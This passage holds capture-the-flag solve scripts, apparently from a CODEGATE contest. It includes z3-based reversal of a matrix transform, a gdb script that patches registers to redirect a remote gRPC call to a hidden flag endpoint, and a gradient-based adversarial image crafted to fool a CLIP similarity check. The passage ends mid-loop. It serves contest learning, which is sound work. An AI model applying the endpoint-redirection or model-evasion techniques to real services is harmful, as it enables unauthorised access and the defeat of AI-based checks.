M2 = [[4294967181, 0, 15, 1, 4294967275, 49, 4294967272, 5, 42, 4294967294, 4294967280, 4294967287, 40, 46, 56, 4294967262, 16, 4294967271, 39, 26, 23, 42, 4294967240, 0], [4294967265, 4294967281, 7, 4294967282, 11, 22, 13, 4294967263, 4294967287, 40, 31, 54, 4294967277, 4294967270, 4294967276, 12, 30, 14, 44, 4294967282, 49, 4294967292, 4294967292, 25], [53, 8, 4294967251, 20, 4294967291, 58, 16, 4294967281, 18, 59, 45, 23, 50, 51, 4294967263, 11, 46, 4294967262, 4294967281, 4294967287, 4294967250, 4294967246, 3, 4294967261], [9, 39, 4294967283, 4294967169, 19, 4294967256, 30, 21, 4294967256, 32, 37, 4294967276, 30, 30, 29, 25, 3, 18, 4294967284, 4294967238, 4294967252, 4294967220, 39, 4294967241], [4294967278, 4294967262, 4, 4294967280, 4294967277, 4294967287, 4294967292, 4294967261, 31, 4294967264, 0, 59, 5, 23, 29, 4294967256, 4294967266, 4294967295, 54, 4294967283, 4294967295, 4294967265, 36, 56], [17, 16, 4294967256, 18, 9, 4294967167, 36, 4294967263, 0, 4294967273, 23, 43, 3, 30, 10, 4294967292, 4294967256, 3, 4294967254, 4294967256, 10, 4294967274, 28, 4294967260], [24, 4294967290, 4294967276, 4294967294, 4294967271, 17, 4294967243, 4294967290, 4294967278, 49, 4294967280, 14, 4294967295, 27, 4294967284, 4294967224, 4294967286, 4294967258, 4294967292, 0, 53, 26, 23, 4294967268], [56, 26, 2, 57, 4294967258, 4294967278, 14, 4294967173, 48, 38, 4294967267, 4294967284, 4294967284, 18, 4294967258, 31, 59, 4294967269, 4294967252, 4294967240, 27, 4294967263, 4294967267, 19], [54, 22, 4294967282, 4294967267, 16, 4294967265, 46, 30, 4294967262, 72, 4294967202, 24, 41, 52, 4294967287, 4294967283, 4294967263, 4294967287, 56, 4294967291, 25, 54, 3, 43], [4294967283, 49, 56, 36, 43, 4294967269, 53, 4294967281, 7, 4294967202, 83, 4294967268, 4294967268, 31, 23, 4294967267, 44, 4294967256, 4294967265, 3, 0, 58, 60, 4294967254], [4294967256, 4294967269, 55, 46, 4294967260, 4294967274, 4294967251, 25, 4294967287, 22, 24, 4294967294, 12, 4294967266, 35, 32, 11, 4294967294, 29, 4294967264, 4294967263, 42, 4294967243, 22], [4294967262, 4294967266, 33, 4294967294, 2, 23, 4294967268, 58, 4294967201, 4294967289, 20, 23, 4294967280, 57, 4294967284, 4294967221, 4294967293, 19, 4294967270, 58, 49, 4294967277, 45, 33], [57, 21, 47, 16, 18, 15, 4294967274, 6, 59, 4294967284, 4294967271, 45, 39, 1, 27, 4294967294, 41, 4294967223, 25, 6, 8, 4294967272, 9, 11], [4294967267, 40, 4294967270, 26, 4294967219, 4294967251, 4294967208, 4294967266, 4294967201, 34, 4294967268, 1, 4294967256, 4294967183, 2, 6, 4294967290, 4294967292, 4294967262, 27, 4294967259, 4294967284, 4294967285, 35], [27, 2, 9, 13, 4294967265, 4294967290, 12, 4294967282, 4294967280, 4294967286, 34, 4294967287, 25, 4294967277, 4294967181, 4294967287, 4294967274, 4294967295, 9, 41, 4294967250, 4294967243, 4294967236, 28], [4294967260, 4294967274, 18, 34, 25, 48, 50, 27, 4294967245, 4294967272, 45, 71, 4294967258, 4294967281, 32, 51, 4294967272, 15, 45, 5, 4294967241, 23, 8, 38], [43, 19, 22, 4294967257, 4294967259, 4294967282, 4294967292, 4294967262, 8, 4294967277, 4294967283, 43, 4294967260, 4294967257, 28, 24, 63, 4294967242, 8, 4294967273, 4294967269, 4294967246, 34, 36], [38, 4294967291, 40, 4294967293, 4294967288, 4294967290, 35, 4294967279, 26, 35, 30, 4294967277, 4294967259, 8, 0, 4294967267, 4294967239, 4294967235, 4294967242, 0, 4294967280, 59, 4294967283, 4294967257], [4294967282, 4294967270, 55, 0, 58, 24, 39, 21, 44, 4294967274, 22, 4294967258, 4294967279, 3, 57, 4294967276, 4294967286, 2, 14, 4294967286, 21, 4294967256, 8, 21], [4294967266, 4294967278, 4294967261, 4294967275, 4294967293, 4294967293, 4294967288, 45, 4294967268, 8, 20, 4294967258, 4294967267, 4294967256, 4294967256, 69, 20, 4294967277, 28, 22, 15, 13, 4294967262, 4294967270], [4294967267, 4294967277, 4294967264, 4294967282, 38, 4294967259, 27, 54, 4294967266, 4294967258, 56, 39, 4294967281, 43, 4294967261, 4294967293, 31, 4294967243, 4294967287, 4294967249, 4294967238, 3, 12, 25], [45, 52, 4294967258, 4294967286, 14, 4294967279, 4294967267, 12, 41, 23, 4294967257, 16, 4294967266, 5, 3, 27, 5, 21, 16, 41, 33, 4294967168, 17, 23], [34, 51, 23, 22, 20, 4294967294, 39, 55, 14, 40, 48, 56, 57, 4, 37, 4294967273, 27, 2, 5, 35, 27, 4294967280, 4294967230, 4294967257], [15, 40, 4294967272, 4294967267, 4294967294, 4294967291, 54, 4294967271, 20, 59, 4294967288, 8, 4294967285, 4294967292, 15, 58, 42, 4294967258, 4294967285, 31, 50, 6, 37, 4294967240]]
compare_matrix0 = [[59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 19, 61], [59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 1, 12, 61], [59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 4, 12, 12, 54, 54], [59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 80, 12, 12, 12, 12, 61, 6], [59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 5, 65, 12, 61, 54, 61, 18, 59, 59], [59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 12, 61, 12, 54, 12, 31, 19, 59, 59, 59], [59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 79, 59, 59, 59, 24, 12, 54, 12, 61, 54, 28, 59, 59], [59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 62, 84, 59, 59, 59, 59, 63, 61, 54, 12, 61, 61, 56, 55], [59, 59, 59, 59, 59, 59, 59, 59, 22, 84, 3, 84, 59, 59, 59, 59, 59, 59, 81, 12, 61, 61, 61, 61], [59, 59, 59, 59, 59, 59, 67, 84, 84, 84, 84, 68, 59, 59, 59, 59, 59, 59, 59, 59, 52, 61, 61, 12], [59, 59, 59, 59, 41, 3, 3, 84, 3, 50, 60, 59, 59, 59, 59, 38, 70, 59, 59, 59, 59, 59, 25, 31], [59, 59, 55, 84, 84, 84, 3, 73, 1, 59, 59, 59, 59, 59, 59, 18, 73, 47, 44, 59, 59, 59, 59, 59], [59, 59, 59, 61, 66, 47, 3, 84, 84, 63, 59, 59, 59, 59, 59, 38, 84, 12, 59, 59, 59, 59, 59, 59], [59, 59, 59, 59, 16, 50, 3, 3, 3, 84, 65, 64, 59, 59, 59, 6, 16, 59, 59, 59, 59, 59, 39, 49], [59, 59, 59, 59, 59, 59, 13, 50, 66, 3, 84, 84, 59, 59, 59, 59, 59, 59, 59, 59, 29, 39, 39, 75], [59, 59, 59, 59, 59, 59, 59, 59, 32, 50, 84, 73, 59, 59, 59, 59, 59, 59, 71, 36, 36, 36, 36, 75], [59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 76, 68, 59, 59, 59, 59, 83, 36, 36, 36, 36, 39, 74, 59], [59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 34, 39, 36, 39, 36, 36, 15, 59, 59, 59], [59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 77, 36, 36, 36, 36, 36, 34, 59, 59, 59], [59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 79, 33, 29, 36, 36, 36, 36, 9, 59], [59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 20, 36, 36, 36, 36, 36, 36], [59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 82, 36, 36, 36, 36], [59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 78, 36, 36], [59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 10]]
matrix1 = np.array(matrix1)
matrix1 = matrix1.transpose()[:, ::-1]
matrix2 = (matrix1@X)%0xffff
matrix1 = (X@matrix2)%0xffff
print(matrix1)
matrix1 = matrix1.transpose()[::-1, :]
matrix3 = (matrix1 + M0)%0xffff
matrix4 = (matrix3@M1)%0xffff
result0 = np.array(matrix4+M2, dtype=np.uint32)
# assert result0==compare_matrix0, "failed"
### reverse operations
# calculated = np.array([[63263, 4711, 61754, 55644, 4197, 46606, 19217, 33533, 20323, 25061, 64802, 5825, 20045, 20440, 11747, 56231, 48880, 6790, 37916, 12079, 13014, 23924, 10806, 56839], [10578, 49285, 44127, 49598, 61270, 26954, 49550, 12694, 15868, 39106, 43204, 5586, 6562, 23876, 39772, 22533, 19637, 57917, 49761, 33959, 38622, 63843, 14161, 57769], [43921, 9678, 58373, 5187, 51904, 52598, 62727, 38134, 36841, 35970, 55058, 32867, 35514, 30852, 29671, 50212, 44340, 22596, 27307, 30387, 10544, 5535, 44891, 4150], [42665, 632, 16960, 22457, 12664, 34066, 30598, 63907, 24368, 6096, 3009, 40299, 27553, 31241, 21310, 38956, 30475, 45385, 64977, 38408, 18718, 21529, 16971, 35893], [25295, 30699, 21553, 26589, 58003, 24188, 30914, 57849, 1626, 31064, 59186, 7355, 62250, 24295, 37208, 41074, 31248, 39644, 32224, 42755, 25924, 19049, 24402, 34165], [26799, 34485, 24975, 34547, 31379, 45505, 34472, 59383, 559, 19668, 17001, 61114, 27878, 1290, 65213, 8207, 23959, 60646, 42008, 28869, 54734, 4657, 27266, 15214], [40756, 22869, 13234, 55453, 59638, 26666, 10326, 55913, 57459, 43444, 6062, 6688, 15870, 29745, 22767, 59673, 56911, 7569, 33085, 39259, 60090, 31520, 46894, 22192], [26400, 38962, 23539, 48000, 45834, 39195, 37516, 51877, 59662, 53361, 22993, 30007, 49826, 20571, 12991, 14066, 32376, 17653, 46722, 64014, 63906, 23264, 28938, 58115], [31458, 62601, 4034, 25609, 56217, 8393, 60816, 2173, 9369, 51876, 20230, 24631, 24553, 32261, 55159, 9949, 7527, 7416, 64409, 1859, 17312, 48785, 13508, 34275], [38174, 37523, 24257, 9537, 11927, 7149, 12900, 20665, 27957, 44543, 41084, 43654, 15816, 3114, 12692, 10454, 56402, 31684, 9997, 16897, 36945, 15131, 10296, 5930], [27025, 16934, 42595, 17214, 40234, 61683, 39751, 32111, 22725, 48162, 32301, 15779, 9538, 11678, 29198, 4396, 50205, 11225, 40477, 54443, 57081, 37182, 27069, 63631], [61238, 51517, 10129, 55380, 26987, 22264, 25354, 21006, 21698, 13249, 53250, 50077, 64034, 1280, 22382, 52150, 44898, 24014, 57181, 32956, 33623, 33207, 61405, 58235], [35417, 491, 41068, 14129, 34823, 6214, 24614, 55008, 40705, 2445, 23416, 47021, 46688, 46658, 1875, 54578, 20744, 5463, 20166, 20059, 12172, 60358, 1594, 12059], [60274, 43353, 39363, 33215, 33823, 35239, 61474, 53479, 45691, 59638, 39089, 12628, 63804, 34395, 61554, 23494, 4859, 59959, 45962, 39075, 16288, 46495, 61119, 54422], [5039, 53554, 58781, 2360, 29168, 44092, 62038, 6163, 25138, 29186, 20781, 43845, 6174, 49581, 4967, 62226, 49569, 59777, 50607, 49853, 17628, 62826, 37502, 27102], [49610, 40273, 61673, 19609, 47746, 24074, 18583, 48735, 22414, 44840, 20369, 9092, 34141, 42604, 3410, 13385, 52241, 41699, 35622, 16076, 32773, 28447, 44518, 64704], [55811, 51517, 64313, 16925, 49745, 705, 54302, 507, 24541, 16410, 25525, 40381, 14540, 25872, 39744, 37438, 10779, 50784, 48807, 6328, 5545, 17677, 6129, 38740], [30046, 890, 43059, 7930, 47229, 39508, 38882, 37208, 38897, 63747, 60616, 37714, 30559, 25752, 59708, 10936, 28762, 16915, 5444, 12749, 5618, 60309, 45549, 27561], [10851, 6997, 22346, 37633, 24320, 49998, 39971, 36873, 11832, 39231, 21565, 23217, 20896, 41583, 59875, 46424, 30557, 37475, 36415, 42395, 64065, 63733, 54505, 35121], [28987, 31522, 11494, 7529, 46660, 62945, 65354, 16240, 40924, 24036, 51150, 4730, 23379, 25322, 45508, 54310, 20165, 26885, 31165, 7732, 39986, 41633, 7665, 33180], [12656, 59356, 65497, 27095, 15767, 36585, 63631, 6711, 64058, 48992, 51390, 6638, 64548, 36590, 60536, 19619, 32135, 65377, 44550, 24129, 4649, 8568, 46242, 29066], [34744, 32228, 48330, 7214, 25813, 1208, 37690, 6393, 41558, 54073, 26936, 46454, 4779, 25049, 20186, 60143, 26836, 45262, 4256, 9967, 41838, 3934, 15145, 23782], [59735, 36721, 31858, 58207, 36110, 61536, 63510, 13044, 42136, 6817, 52655, 47712, 7570, 40570, 10815, 3219, 35146, 47030, 10178, 30368, 11099, 13474, 54727, 22596], [61573, 49111, 3210, 3727, 1593, 49037, 857, 49449, 63329, 34724, 35532, 45840, 35890, 60653, 36493, 44600, 51146, 13122, 11024, 50288, 27416, 52803, 37059, 10935]])
# m4_calc = np.array([[63378, 4711, 61739, 55643, 4218, 46557, 19241, 33528, 20281, 25063, 64818, 5834, 20005, 20394, 11691, 56265, 48864, 6815, 37877, 12053, 12991, 23882, 10862, 56839], [10609, 49300, 44120, 49612, 61259, 26932, 49537, 12727, 15877, 39066, 43173, 5532, 6581, 23902, 39792, 22521, 19607, 57903, 49717, 33973, 38573, 63847, 14165, 57744], [43868, 9670, 58418, 5167, 51909, 52540, 62711, 38149, 36823, 35911, 55013, 32844, 35464, 30801, 29704, 50201, 44294, 22630, 27322, 30396, 10590, 5585, 44888, 4185], [42656, 593, 16973, 22584, 12645, 34106, 30568, 63886, 24408, 6064, 2972, 40319, 27523, 31211, 21281, 38931, 30472, 45367, 64989, 38466, 18762, 21605, 16932, 35948], [25313, 30733, 21549, 26605, 58022, 24197, 30918, 57884, 1595, 31096, 59186, 7296, 62245, 24272, 37179, 41114, 31278, 39645, 32170, 42768, 25925, 19080, 24366, 34109], [26782, 34469, 25015, 34529, 31370, 45634, 34436, 59416, 559, 19691, 16978, 61071, 27875, 1260, 65203, 8211, 23999, 60643, 42050, 28909, 54724, 4679, 27238, 15250], [40732, 22875, 13254, 55455, 59663, 26649, 10379, 55919, 57477, 43395, 6078, 6674, 15871, 29718, 22779, 59745, 56921, 7607, 33089, 39259, 60037, 31494, 46871, 22220], [26344, 38936, 23537, 47943, 45872, 39213, 37502, 52000, 59614, 53323, 23022, 30019, 49838, 20553, 13029, 14035, 32317, 17680, 46766, 64070, 63879, 23297, 28967, 58096], [31404, 62579, 4048, 25638, 56201, 8424, 60770, 2143, 9403, 51804, 20324, 24607, 24512, 32209, 55168, 9962, 7560, 7425, 64353, 1864, 17287, 48731, 13505, 34232], [38187, 37474, 24201, 9501, 11884, 7176, 12847, 20680, 27950, 44637, 41001, 43682, 15844, 3083, 12669, 10483, 56358, 31724, 10028, 16894, 36945, 15073, 10236, 5972], [27065, 16961, 42540, 17168, 40270, 61705, 39796, 32086, 22734, 48140, 32277, 15781, 9526, 11708, 29163, 4364, 50194, 11227, 40448, 54475, 57114, 37140, 27122, 63609], [61272, 51547, 10096, 55382, 26985, 22241, 25382, 20948, 21793, 13256, 53230, 50054, 64050, 1223, 22394, 52225, 44901, 23995, 57207, 32898, 33574, 33226, 61360, 58202], [35360, 470, 41021, 14113, 34805, 6199, 24636, 55002, 40646, 2457, 23441, 46976, 46649, 46657, 1848, 54580, 20703, 5536, 20141, 20053, 12164, 60382, 1585, 12048], [60303, 43313, 39389, 33189, 33900, 35284, 61562, 53509, 45786, 59604, 39117, 12627, 63844, 34508, 61552, 23488, 4865, 59963, 45996, 39048, 16325, 46507, 61130, 54387], [5012, 53552, 58772, 2347, 29199, 44098, 62026, 6177, 25154, 29196, 20747, 43854, 6149, 49600, 5082, 62235, 49591, 59778, 50598, 49812, 17674, 62879, 37562, 27074], [49646, 40295, 61655, 19575, 47721, 24026, 18533, 48708, 22465, 44864, 20324, 9021, 34179, 42619, 3378, 13334, 52265, 41684, 35577, 16071, 32828, 28424, 44510, 64666], [55768, 51498, 64291, 16964, 49782, 719, 54306, 541, 24533, 16429, 25538, 40338, 14576, 25911, 39716, 37414, 10716, 50838, 48799, 6351, 5572, 17727, 6095, 38704], [30008, 895, 43019, 7933, 47237, 39514, 38847, 37225, 38871, 63712, 60586, 37733, 30596, 25744, 59708, 10965, 28819, 16976, 5498, 12749, 5634, 60250, 45562, 27600], [10865, 7023, 22291, 37633, 24262, 49974, 39932, 36852, 11788, 39253, 21543, 23255, 20913, 41580, 59818, 46444, 30567, 37473, 36401, 42405, 64044, 63773, 54497, 35100], [29017, 31540, 11529, 7550, 46663, 62948, 65362, 16195, 40952, 24028, 51130, 4768, 23408, 25362, 45548, 54241, 20145, 26904, 31137, 7710, 39971, 41620, 7699, 33206], [12685, 59375, 65529, 27109, 15729, 36622, 63604, 6657, 64088, 49030, 51334, 6599, 64563, 36547, 60571, 19622, 32104, 65430, 44559, 24176, 4707, 8565, 46230, 29041], [34699, 32176, 48368, 7224, 25799, 1225, 37719, 6381, 41517, 54050, 26975, 46438, 4809, 25044, 20183, 60116, 26831, 45241, 4240, 9926, 41805, 4062, 15128, 23759], [59701, 36670, 31835, 58185, 36090, 61538, 63471, 12989, 42122, 6777, 52607, 47656, 7513, 40566, 10778, 3242, 35119, 47028, 10173, 30333, 11072, 13490, 54793, 22635], [61558, 49071, 3234, 3756, 1595, 49042, 803, 49474, 63309, 34665, 35540, 45832, 35901, 60657, 36478, 44542, 51104, 13160, 11035, 50257, 27366, 52797, 37022, 10991]])
# print(calculated==result0)
# compare_matrix0 = np.array(compare_matrix0, dtype=np.uint32)
# matrix4 = np.array(result0 - M2, dtype=np.uint32)
# print(matrix4.tolist())
# matrix3 = (matrix4 @ np.linalg.inv(M1)%0xffff)
# print(matrix3)
```
```py=
matrix1 = [[260, 328, 448, 399, 474, 447, 466, 443, 436, 413, 509, 413, 515, 419, 463, 514, 435, 466, 486, 507, 512, 350, 445, 248], [455, 640, 641, 706, 752, 746, 748, 738, 745, 659, 566, 642, 609, 681, 665, 683, 728, 743, 732, 720, 610, 677, 584, 408], [386, 706, 790, 677, 895, 759, 808, 811, 762, 803, 905, 878, 917, 810, 778, 885, 739, 804, 891, 767, 928, 658, 667, 469], [399, 654, 721, 847, 867, 927, 962, 835, 943, 914, 830, 820, 827, 902, 883, 916, 951, 857, 885, 918, 730, 717, 587, 383], [347, 707, 769, 658, 885, 773, 751, 887, 699, 895, 834, 891, 747, 896, 710, 885, 704, 897, 908, 718, 924, 777, 617, 508], [299, 582, 570, 694, 882, 706, 888, 819, 821, 780, 772, 755, 824, 794, 833, 869, 900, 758, 948, 700, 769, 615, 505, 372], [330, 785, 677, 873, 844, 908, 884, 805, 771, 826, 722, 679, 571, 769, 762, 801, 842, 891, 846, 839, 721, 853, 515, 500], [426, 724, 738, 717, 877, 741, 751, 574, 798, 769, 741, 808, 740, 827, 804, 664, 806, 611, 927, 725, 851, 699, 672, 446], [520, 847, 833, 758, 918, 797, 992, 882, 699, 883, 675, 767, 834, 844, 667, 885, 907, 879, 910, 730, 778, 897, 702, 509], [474, 819, 724, 807, 783, 910, 921, 863, 895, 851, 677, 787, 772, 859, 768, 918, 974, 850, 939, 821, 745, 801, 711, 503], [534, 699, 912, 820, 948, 851, 852, 719, 709, 856, 745, 836, 777, 822, 620, 783, 733, 836, 821, 927, 874, 806, 783, 458], [483, 763, 738, 760, 819, 913, 859, 775, 713, 666, 887, 771, 895, 749, 757, 750, 728, 863, 919, 777, 744, 772, 741, 518], [525, 670, 827, 836, 876, 854, 765, 670, 666, 727, 842, 791, 785, 758, 656, 723, 599, 773, 826, 866, 814, 751, 785, 436], [498, 817, 732, 754, 760, 899, 909, 864, 794, 756, 769, 790, 847, 846, 803, 842, 856, 855, 994, 688, 746, 765, 819, 504], [556, 762, 908, 820, 948, 760, 899, 808, 659, 856, 706, 848, 872, 828, 583, 863, 789, 828, 876, 829, 889, 883, 811, 442], [510, 794, 725, 832, 800, 909, 833, 737, 879, 917, 756, 877, 777, 949, 835, 810, 879, 745, 944, 830, 760, 793, 748, 472], [438, 818, 672, 843, 839, 869, 897, 890, 715, 827, 763, 697, 757, 776, 769, 893, 835, 946, 842, 797, 649, 899, 559, 473], [397, 689, 624, 704, 829, 697, 808, 696, 750, 819, 765, 855, 830, 880, 839, 746, 833, 659, 965, 635, 773, 673, 661, 417], [363, 706, 758, 815, 883, 845, 797, 817, 761, 824, 834, 821, 662, 826, 789, 804, 760, 908, 904, 852, 846, 872, 626, 489], [370, 598, 616, 825, 781, 835, 965, 834, 895, 912, 906, 877, 986, 906, 918, 921, 978, 773, 873, 833, 668, 671, 576, 342], [459, 745, 856, 639, 894, 736, 753, 887, 771, 884, 856, 965, 856, 904, 797, 898, 757, 878, 909, 696, 925, 755, 736, 492], [488, 661, 728, 779, 801, 802, 891, 718, 869, 795, 668, 774, 751, 846, 802, 759, 894, 741, 818, 809, 662, 714, 662, 395], [452, 600, 790, 663, 810, 687, 783, 688, 766, 646, 772, 731, 785, 671, 743, 759, 750, 709, 816, 766, 847, 608, 753, 415], [307, 346, 406, 375, 434, 425, 437, 420, 445, 333, 381, 386, 431, 363, 432, 351, 425, 420, 410, 395, 365, 350, 404, 230]]
from z3 import *
def reconstruct_input_z3(matrix1):
rows, cols = 24, 24 # matrix1 dimensions
input_rows, input_cols = 26, 26 # input dimensions
# Create a 26x26 matrix of integer variables
input_vars = [[Int(f"x_{i}_{j}") for j in range(input_cols)] for i in range(input_rows)]
# Solver instance
solver = Solver()
for i in range(input_cols):
solver.add(input_vars[0][i] == 0) # First row is zero
solver.add(input_vars[25][i] == 0) # First row is zero
# Add constraints: Each input element is between 0 and 255 (if we assume valid bytes)
for i in range(input_rows):
for j in range(input_cols):
solver.add(0 <= input_vars[i][j], input_vars[i][j] <= 255)
# Add constraints based on the transformation equation
for i in range(rows):
for j in range(cols):
solver.add(
matrix1[i][j] == (
input_vars[i+2][j+2] + input_vars[i+2][j+1] + input_vars[i+2][j] +
input_vars[i+1][j+2] + input_vars[i+1][j+1] + input_vars[i+1][j] +
input_vars[i][j+2] + input_vars[i][j+1] + input_vars[i][j]
)
)
# Solve the system
if solver.check() == sat:
model = solver.model()
recovered_input = [[model[input_vars[i][j]].as_long() for j in range(input_cols)] for i in range(input_rows)]
return recovered_input
else:
print("No solution found!")
return None
# Example usage with a dummy matrix1
import numpy as np
# Solve for input
recovered_input = reconstruct_input_z3(matrix1)
if recovered_input:
for row in recovered_input[2:-2]:
print(bytes(row).strip(b'\x00')[1:-1]) # Print the recovered input matrix
char = [
b'\x00C0D3GAT3C0D3GAT3C0D3GAT3\x00',
b'\x000C0DEGATE 1s a gl0ba1 iC\x00',
b'\x00Dnternationa1 hacking d0\x00',
b'\x0033f3ns3 competition andD\x00',
b'\x00G 5ecurity conference. 3\x00',
b'\x00AHeld annually since 20G\x00',
b'\x00T08, C0D3GAT3 is known A\x00',
b'\x003as the Olympics for haT\x00',
b'\x00Cckers, wh3re hack3rs a3\x00',
b'\x000nd security 3xperts frC\x00',
b'\x00Dom around the world ga0\x00',
b'\x003th3r t0 c0mpet3 for thD\x00',
b"\x00Ge title of the w0rld's3\x00",
b'\x00A best hack3r. In additG\x00',
b'\x00Tion to fierce competitA\x00',
b'\x003ion among tru3 white-hT\x00',
b'\x00Cat hackers, a juni0r d3\x00',
b'\x000ivision is also he1d, C\x00',
b'\x00Ds3rv1ng as a p1atform 0\x00',
b'\x003f0r discover1ng talentD\x00',
b'\x00Ged 1ndividuals 1n th3 3\x00',
b'\x00Afi3ld of cyb3rsecurityG\x00',
b'\x00T. You are good hacker.A\x00',
b'\x003C0D3GAT3C0D3GAT3C0D3GAT\x00',
]
for row in char[1:-1]:
print(row.decode('utf-8').strip('\x00')[1:-1],end = '')
```
### protoss_58
```py=
import gdb
import time
inp = '''3.37.15.100:50051
10'''
open('input.txt', 'w').write(inp)
gdb.execute('run < input.txt')
gdb.execute('ignore 5 2')
# set $rax = "mmQJfqw5HJqfAGV3ftrV.2c5358d4b98d31e9"
# gdb.execute('set $rax = "mmQJfqw5HJqfAGV3ftrV.2c5358d4b98d31e9"')
# gdb.execute('c')
gdb.execute('set $rax = "commander"')
gdb.execute('set $rbx = 9')
gdb.execute('set $rcx = 0xdead')
gdb.execute('c')
# 0x80f110
# set rax = 0093c280
# gdb.execute('set $rax = 0x0093c280')
# gdb.execute('c')
# # 0x80f185
time.sleep(0.025)
# # $r9 now contains the struct we want
# # set r9 + 0x18 to pointer to "My_1ife_F0r_Aiur!!"
# 00d5f000 is same memory to write to
gdb.execute('set *($r9 + 0x18) = 0x00d5f000')
gdb.execute("set {char}0x00d5f000 = 'M'")
gdb.execute("set {char}0x00d5f001 = 'y'")
gdb.execute("set {char}0x00d5f002 = '_'")
gdb.execute("set {char}0x00d5f003 = '1'")
gdb.execute("set {char}0x00d5f004 = 'i'")
gdb.execute("set {char}0x00d5f005 = 'f'")
gdb.execute("set {char}0x00d5f006 = 'e'")
gdb.execute("set {char}0x00d5f007 = '_'")
gdb.execute("set {char}0x00d5f008 = 'F'")
gdb.execute("set {char}0x00d5f009 = '0'")
gdb.execute("set {char}0x00d5f00a = 'r'")
gdb.execute("set {char}0x00d5f00b = '_'")
gdb.execute("set {char}0x00d5f00c = 'A'")
gdb.execute("set {char}0x00d5f00d = 'i'")
gdb.execute("set {char}0x00d5f00e = 'u'")
gdb.execute("set {char}0x00d5f00f = 'r'")
gdb.execute("set {char}0x00d5f010 = '!'")
gdb.execute("set {char}0x00d5f011 = '!'")
gdb.execute("set {char}0x00d5f012 = 0")
gdb.execute('set *($r9 + 0x20) = 18')
# gdb.execute('set *($r9 + 0x18) = 1')
# # set r8 to 0092f1e0
# gdb.execute('set $r8 = 0x092f1e0')
# # set r10 0092f2a0
# gdb.execute('set $r10 = 0x092f2a0')
# change grpc endpoint
gdb.execute('set $rdi = "/secret.SecretService/Flag"')
gdb.execute('set $rsi = 26')
gdb.execute('c')
```


## AI
### bright
```py=
import numpy as np
import os
from glob import glob
from PIL import Image, ImageEnhance
os.chdir(os.path.dirname(__file__))
def extract_feature(image):
with torch.no_grad():
image = preprocess(image).unsqueeze(0)
image = image.to("cuda")
feature = model.encode_image(image)[0].cpu().numpy()
return feature / np.linalg.norm(feature)
def validate(image):
return np.array(image.convert('RGB')).mean() > 250 and image.height == image.width
def load_features():
features = []
for path in glob("images/*.png"):
print(path)
image = Image.open(path)
feature = extract_feature(image)
features.append(feature)
return features
image = Image.open("cat3.jpg")
image = ImageEnhance.Brightness(image).enhance(13.5)
image = image.convert("RGB")
print("Evaluating...")
import clip
import torch
from torchvision import transforms
model, preprocess = clip.load("ViT-B/32", device="cuda", download_root="model")
model = model.float()
model.eval()
# print(model)
feature = torch.tensor(extract_feature(image))
features = load_features()
target_feature = torch.tensor(features[2]).to("cuda")
image = transforms.Resize(224)(image)
image = transforms.CenterCrop(224)(image)
image = Image.open("cat2_output.png")
image = transforms.ToTensor()(image)
image += torch.randn_like(image) * 0.01
image = image.clamp(0, 255)
image = image * 255
image = image.to("cuda")
image = image.clone().detach().requires_grad_(True)
optimizer = torch.optim.Adam([image], lr=1e-3)
image.requires_grad = True
sim = 0
m = 0
def get_sim(image):
normalized = transforms.Normalize((0.48145466, 0.4578275, 0.40821073), (0.26862954, 0.26130258, 0.27577711))(image)
feature = model.encode_image(normalized.unsqueeze(0))[0]
feature = feature / torch.norm(feature)
sim = torch.dot(feature, target_feature)
return sim
import random
random.seed()
torch.manual_seed(random.randint(0, 2**32 - 1))
random.seed()
np.random.seed()
best_sim = 0
# def sample_based_on_grad(grad, image):
# rand = torch.rand(image.shape, device="cuda")
# mask = (rand < grad.abs()).float()
# mask[grad < 0] *= -1
# return (image + mask).round().clamp(0, 255)
# for t in range(20):
# # sim = get_sim(image/255)
# # loss = -sim
# # grad = torch.autograd.grad(loss, image, retain_graph=True)[0]
# next_images = []
# with torch.no_grad():
# for _ in range(2000):
# image2 = sample_based_on_grad(torch.randn_like(image)*4e-5, image)
# if (image2 - image).abs().sum() == 0:
# continue
# sim = get_sim(image2/255)
# m = torch.mean(image2)
# # print(sim.item(), m.item())
# next_images.append((sim, m, image2))
# print("Sampled", len(next_images))
# next_images.sort(key=lambda x: x[0], reverse=True)
# if next_images[0][0] > best_sim:
# best_sim = next_images[0][0].item()
# else:
# print("No improvement", next_images[0][0].item())
# continue
# image.data = next_images[0][2].round()
# print(t, next_images[0][0].item(), next_images[0][1].item())
# print()
# image_np = image.detach().cpu().numpy().astype(np.uint8)
# image_np = np.transpose(image_np, (1, 2, 0))
# image_pil = Image.fromarray(image_np)
# image_pil.save("best2.png")
while True:
sim = get_sim(image/255)
m = torch.mean(image)
if sim > 0.9999 and m > 250:
print("Found!", sim.item(), m.item())
break
if sim >= best_sim:
best_sim = sim.item()
print("Best sim:", best_sim)
# save the image
if sim > 0.995 or np.random.rand() < 0.1:
image_np = image.detach().cpu().numpy().astype(np.uint8)
image_np = np.transpose(image_np, (1, 2, 0))
image_pil = Image.fromarray(image_np)
image_pil.save("best.png")
brightness_loss = torch.nn.functional.relu(250 - m)
loss = -sim + brightness_loss * 0.5 - 1e-4 * m
